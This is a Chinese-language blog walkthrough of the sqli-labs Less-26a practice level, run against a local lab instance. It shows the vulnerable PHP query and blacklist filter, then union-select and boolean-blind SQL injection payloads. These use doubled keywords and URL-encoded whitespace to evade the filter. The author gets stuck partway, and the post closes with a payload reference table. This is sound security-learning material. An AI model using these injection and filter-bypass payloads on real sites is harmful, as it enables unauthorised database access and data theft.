sqli-labs:Less-26a关卡详细解析
1. 思路🚀
本关的SQL语句为:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
- 注入类型:字符串型(单引号、括号包裹)、GET操作
- 提示:参数需以
')闭合 - 关键参数:
id
php输出语句的部分代码:
if($row)
{echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}
else
{echo '<font color= "#FFFF00">';//print_r(mysql_error()); echo "</font>";
}
先来看一下那些字符被过滤掉其中有:or,and,/*,--,#,空格,制表符,换行符,/,反引号
function blacklist($id)
{$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --$id= preg_replace('/[#]/',"", $id); //Strip out #$id= preg_replace('/[\s]/',"", $id); //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashesreturn $id;
}
由于mysql_error()被注释掉,所以报错盲注用不了。有两个方向可以考虑:
- 使用
union select联合查询 - 使用布尔盲注
但是使用这两个会出现不同的问题:
- 使用
union select:在sql注入语句上会出现大量的(),并且union和select中的空格无法解决,我已经尝试过使用URL编码,用过%A0,%0A,%20,%09,%0D,但是依旧无法解决空格问题。 - 使用布尔盲注:刚开始爆破数据库还可以,到了后面由于
limit x,1无法加上,后面的推进不下去。

2. 手工注入问题🎯
我的地址栏是:http://localhost:8081/Less-26a/,从?id=开始。我把自己遇到的问题附上
2.1. 联合查询中的空格问题⚡
不过有意思的是,在%A0,%0A,%20,%09,%0D这些URL编码中,%A0回显时出现了乱码,至今还没解决。
-1') union select 1,2,3 and('1'='1
-1')%A0union%A0select(1),(2),(3)aandnd('1'='1

其余的都是空格问题,我以%0A为例:
-1') union select 1,2,3 and('1'='1
-1')%0Aunion%0Aselect(1),(2),(3)aandnd('1'='1

2.2. 布尔盲注问题⚡
刚开始查询数据库时进展顺利
1') and length(database())=8 and ('1
1') and substr((database()),1,1)='s' and ('1
1') and substr((database()),2,1)='e' and ('1
1') and substr((database()),3,1)='c' and ('1
1') and substr((database()),4,1)='u' and ('1
1') and substr((database()),5,1)='r' and ('1
1') and substr((database()),6,1)='i' and ('1
1') and substr((database()),7,1)='t' and ('1
1') and substr((database()),8,1)='y' and ('1
1')aandnd(length(database())=8)aandnd('1
1')aandnd(substr((database()),1,1)='s')aandnd('1
1')aandnd(substr((database()),2,1)='e')aandnd('1
1')aandnd(substr((database()),3,1)='c')aandnd('1
1')aandnd(substr((database()),4,1)='u')aandnd('1
1')aandnd(substr((database()),5,1)='r')aandnd('1
1')aandnd(substr((database()),6,1)='i')aandnd('1
1')aandnd(substr((database()),7,1)='t')aandnd('1
1')aandnd(substr((database()),8,1)='y')aandnd('1

接下来需要通过更改limit的偏移值定位users表,我通过加()处理不掉,理由是语句是错误的,下面是我在命令行的错误。
1') and (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1))=5 and ('1
1')aandnd(select(length(table_name))from(infoorrmation_schema.tables)where(table_schema=database())limit 3,1)=5

因此布尔盲注的办法止步于limit。
2.3. 参数汇总表⭐
| 参数 | 作用 | 示例 |
|---|---|---|
') | 闭合符号 | id=1') |
union select | 联合查询 | union select 1,2,3 |
group_concat() | 合并结果 | group_concat(table_name) |
length() | 查询长度 | length(database()) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
3. 总结🏁
关卡中对许多字符进行了过滤,尤其是空格是最伤的,并且没有找到合适的替代。若大佬知道解决办法望告知,过段时间我再尝试一下。
相似关卡1,见"sqli-labs:Less-25关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149886766?spm=1011.2415.3001.5331
相似关卡2,见"sqli-labs:Less-25a关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗
